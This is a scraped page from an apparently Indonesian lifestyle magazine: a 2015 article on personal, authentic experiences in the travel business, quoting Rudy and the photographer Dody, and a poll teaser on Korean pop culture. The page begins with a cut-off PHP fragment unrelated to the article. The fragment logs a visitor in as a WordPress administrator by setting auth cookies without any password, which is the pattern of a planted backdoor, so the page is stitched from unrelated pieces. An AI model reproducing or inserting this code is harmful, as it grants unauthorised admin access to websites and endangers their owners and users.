user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Sentuhan Personal dalam Bisnis Traveling

10 Dec 2015

Orisinalitas dan pengalaman personal seseorang saat traveling  menyisakan daya tarik tersendiri. Cerita tentang pengalaman wisatawan berinteraksi dengan penduduk asli ataupun kisah tentang kesulitan yang ia hadapi di suatu tempat selalu menghadirkan interest yang lebih bernilai ketimbang cerita biasa layaknya itinerary perjalanan.

Makanya, saat mencari informasi traveling, masyarakat biasanya lebih suka membaca blog ataupun review di tripadvisor, bukannya lewat iklan travel. Cerita di blog dan tripadvisor, menurut Rudy, melibatkan pengalaman personal penulisnya. Mereka biasanya membuat tulisan dengan jujur, bukannya untuk menyenangkan pihak-pihak tertentu.

Pengalaman personal melibatkan penduduk lokal juga menjadi andalan Dody saat memotret. Bukan saja memotret pemandangan di gunung, pantai,  pedesaan maupun kota-kota kecil Indonesia yang memang indah, ia tak lupa mengabadikan gambar nelayan yang tengah melempar jaring ke udara, saat ia traveling ke Pulau Bira, Sulawesi Selatan.

Ia berhasil mengabadikan momen tersebut dengan sangat baik. “Foto itu tak hanya disukai di Instagram, tapi juga terpilih menjadi Best Travel Photo versi majalah National Geographic tahun 2013,” ujar Dody, bangga.
Advertisement

Kemenangan itu membuat  namanya makin laris. Beberapa sponsor pun kini beramai-ramai membayari perjalanan Dody ke berbagai negara. Baru-baru ini, ia bahkan diminta oleh sebuah biro tur untuk mengunjungi dan memotret keindahan Tibet.
   
Rudy pun menegaskan pentingnya kemampuan berinteraksi dengan penduduk setempat. Sebab, saat menyatu dengan penduduk lokal, Anda akan memperoleh pengalaman personal  dan autentik. “Beranikan diri Anda mengeksplorasi sudut-sudut lain yang belum terekspos,” cetus Rudy.
   
Ia menambahkan, riset dan hasil eksplorasi itu bukan tak mungkin turut melejitkan produk jualan Anda. Rudy percaya,  tiap tempat di mana pun pasti memiliki kebudayaan. “Gali kebudayaan itu untuk menciptakan sesuatu yang inovatif dan autentik. Makin Anda aktif menggali,  makin autentik pula produk yang Anda hasilkan,” pungkas Rudy. (f)




 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?